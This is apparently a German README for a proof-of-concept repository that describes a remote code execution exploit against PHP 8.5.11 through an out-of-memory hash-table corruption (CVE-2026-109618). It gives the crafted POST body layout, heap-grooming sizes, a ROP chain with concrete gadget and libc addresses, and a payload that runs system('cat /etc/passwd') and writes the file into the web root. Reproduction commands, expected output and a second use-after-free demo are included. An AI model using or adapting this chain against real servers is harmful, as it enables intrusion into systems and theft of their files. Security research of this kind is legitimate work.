actual-php2shell

Ein reproduzierbarer, anwendungsunabhängiger Remote-Code-Execution-PoC gegen PHP 8.5.11 (die Sicherheitshinweise vom Oktober 2026). Er verwandelt die beiden PHP-Sicherheitshinweise zu Speicherbeschädigungen aus dem Jahr 2026 in system("cat /etc/passwd") mit keinem Anwendungscode — die index.php des Opfers gibt lediglich ok aus.

• CVE-2026-109618 — OOM longjmp bricht eine halb aufgebaute HashTable ab und hinterlässt einen baumelnden Bucket, den das Herunterfahren zerstört. Dies ist das RCE-Primitiv.
• CVE-2026-109619 — anfrageeigener Fehlerzustand (der Fatal-Error-Backtrace) überlebt das Herunterfahren der Anfrage und wird von der nächsten Anfrage erneut freigegeben. Dies ist das Info-Leak- / ASLR-Bypass-Primitiv (eine separate Demo hier).

Alles ist vollständig reproduzierbar in Podman-Containern. Das bestätigte End-to-End- Ergebnis ist ./exploits/cve-2026-109618-oom/rce.py, das /etc/passwd liest.

---

1. Die Schwachstelle (CVE-2026-109618)

Wenn PHP der Speicher ausgeht, ruft es zend_mm_safe_error() → zend_error_noreturn() → zend_bailout() (longjmp) auf. In 8.5.11 ist das Einfügen in die Hash-Tabelle nicht allocationsfehleranfällig, sodass ein OOM mit einer halb modifizierten HashTable zurückrollen kann.

Die beschädigende Stelle ist add_to_hash in _zend_hash_str_add_or_update_i() (Zend/zend_hash.c:960):

add_to_hash:
    idx = ht->nNumUsed++;                       /* (1) bumped first      */
    ht->nNumOfElements++;                       /* (2) bumped            */
    p = ht->arData + idx;
    p->key = key = zend_string_init(str, len);  /* (3) OOM -> zend_bailout */

Wenn die Schlüsselkopie zend_string_init OOMt, bleibt der Bucket p unbeschrieben (key/h/val alle veraltet), aber nNumUsed ist bereits inkrementiert. Beim Request-Shutdown durchläuft zend_array_destroy() nNumUsed Buckets und ruft i_zval_ptr_dtor(&p->val) auf dem Garbage-val des unbeschriebenen Buckets auf — einem angreifergeformten Wert. Der Fix in 8.5.12 ersetzt jede solche Allokation durch fehlbare Varianten (femalloc/fperealloc2 + HASH_FALLIBLE), sodass die Einfügung sauber zurückkehrt, statt abzubrechen.

2. Die Balance zwischen Objektgraph und Heap-Feng-Shui

Der Exploit dreht sich vollständig darum, einen kontrollierten 2560-Byte-Block zum arData der HashTable zu machen, deren letzter Bucket der OOM-Bucket ist. Die Werte, die ausgeglichen werden mussten, und warum:

Typ / Variable	Größe	Rolle
zend_array (HashTable)-Header	56 B	arData, nNumUsed, nTableSize, pDestructor
Bucket	32 B	val(16) + h(8) + key(8); der unbeschriebene ist unser Ziel
zval	16 B	value(8) + u1.type_info(4) + u2(4) — wir setzen type_info
zend_string	24 B Header + Daten	der Pad-Wert; seine Länge bestimmt den Allocator-Bin
zend_object	56 B	Fake-Objekt: gc(8) handle(4) ce(8) handlers(8) properties(8)
zend_object_handlers	offset/free_obj/dtor_obj	free_obj ist das Pivot-Gadget
zend_mm_heap / zend_mm_chunk	—	free_slot[], free_tail, map[] (Bin 28 = 2560 B)

Die beiden Allocator-Fakten, auf denen das gesamte Feng-Shui beruht:

1. Das arData einer Tabelle mit 64 Buckets ist exakt 2560 Bytes = Bin 28 (HT_SIZE_EX(64) = 64*32 Buckets + 128*4 Hash = 2560), weil HT_SIZE_TO_MASK(n) = -(2n).
2. b150 (durchlaufen) und b0e0 (verworfen) sind zwei Kopien von $_POST["a"], die durch den SEPARATE_ARRAY/indirekten Pfad der Symtable erzeugt werden; jedes a[<large>][c]=v-Feld fügt den <large>-Schlüssel in beide ein, und b0e0 ist immer 1 Schlüssel voraus. Nur b150 wird von php_request_shutdown zerstört, also muss das OOM auf b150 landen.

3. Die vollständige Kette (siehe rce.py)

Der Request-Body ist ein urlencodierter POST:

memshift=<40 KB of M>&
a[X…0000000000000000][c]=v&  … (30 fields)
pad=<crafted 2528 B>&
pad=x&
a[X…0000000000000030][c]=v&  … (fields 30..59)

1. memshift (~40 KB) verbraucht gerade genug Speicher, dass der OOM beim ersten Einfügen des OOM-Feldes ausgelöst wird, d. h. in b150 (die durchlaufene Tabelle), nicht in der verworfenen b0e0.
2. pad=<2528 B>: add_post_var führt estrndup(A) und dann ZVAL_STRINGL_FAST(B, copy) aus. Gemessen ergibt sich B = padlen + 32, also liefert padlen=2528 A = 2529 und B = 2560 — beide Bin 28. A wird durch den estrndup-Pfad freigegeben.
3. pad=x (doppelter Schlüssel) DTORt die beibehaltene Kopie B und gibt damit einen zweiten, eigenständigen Bin-28-Slot frei. Nun verwendet die 32→64-Vergrößerung von b150 B wieder — unsere kontrollierten Bytes werden zu b150s arData.
4. Die Pad-Bytes platzieren die Payload im kontrollierten Tail der arData (Buckets 46–63, roher Offset ≥ 1984) — nicht bei Offset 0x100, das ist das Hash- Array, das von zend_hash_rehash neu geschrieben wird.
5. Der nicht geschriebene Bucket (roher Offset 1952 = Pad-Offset 1928) wird auf IS_OBJECT mit value.obj = &fake_object gesetzt.
6. Beim Shutdown wird er durchlaufen: i_zval_ptr_dtor → rc_dtor_func → zend_objects_store_del → handlers->free_obj = Pivot → ROP → system("cat /etc/passwd > /var/www/html/leak.txt"); ein nachfolgendes GET /leak.txt liefert die Datei zurück.

Zwei subtile Anforderungen, die echte Debugging-Zeit gekostet haben (beide in rce.py):

• Das Fake-Objekt/ROP muss im arData-Tail liegen; Pad-Offset 0x100 ist das Hash-Array und wird überschrieben.
• __libc_system verwendet movaps (16-Byte-ausgerichtet), daher wird ein zusätzliches ret-Gadget zwischen pop rdi; ret und system eingefügt — andernfalls kommt es zu einem SIGSEGV innerhalb von __libc_system vor execve.

4. Anvisierte Adressen (ASLR aus, setarch -R)

Gemessen gegen php-rce-oom-debug:8.5.11 (Basis php-rce-base:8.5.11). Die libphp/libc-Basen sind über den Basis-Build hinweg gleich; der Heap-Offset B verschiebt sich mit installierten Bibliotheken (die gdb-Installation hat ihn verschoben), daher B für ein anderes Image neu messen oder über den Info-Leak für ASLR-an auflösen.

Symbol	Adresse
libphp-Basis	0x7ffff4400000
libc-Basis	0x7ffff7cd4000
system	0x7ffff7d20490 (libc+0x4c490)
pop rdi; ret	0x7ffff7cfb7e5 (libc+0x277e5)
ret	0x7ffff7cfb7e6
Pivot (jump_fcontext+0x2e)	0x7ffff49fb8ae
Main Chunk ([anon:zend_alloc])	0x7ffff7200000
B (arData-Rohblock = b150->arData - 512)	0x7ffff725e400
Fake-Handler	B + 24 + 2000 = 0x7ffff725ebe8
Fake-Objekt	B + 24 + 2048 = 0x7ffff725ec18
cmd-String	B + 24 + 2200 = 0x7ffff725ecb0

Die ROP-Kette (relativ zum Fake-Objekt, o):

o+0x40  pop rdi; ret     (r8 loaded by the pivot)
o+0x48  &cmd             (rdi)
o+0x50  ret              (stack alignment for movaps)
o+0x58  system

5. Reproduzieren

Erfordert Podman. Vom Repository-Stammverzeichnis aus:

# build base + OOM + debug (gdb) images
./exploits/cve-2026-109618-oom/trace.sh build

# run the vulnerable worker with ASLR disabled (setarch -R), port 8084
./exploits/cve-2026-109618-oom/trace.sh up

# exploit: OOM -> free_obj hijack -> system("cat /etc/passwd")
python3 exploits/cve-2026-109618-oom/rce.py 127.0.0.1 8084

Expected output:

[+] RCE: read /etc/passwd:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
…

Weitere Demos

# stale fatal-backtrace UAF crash (CVE-2026-109619)
./exploits/cve-2026-109619-stale-state/run.sh up && ./exploits/cve-2026-109619-stale-state/run.sh uaf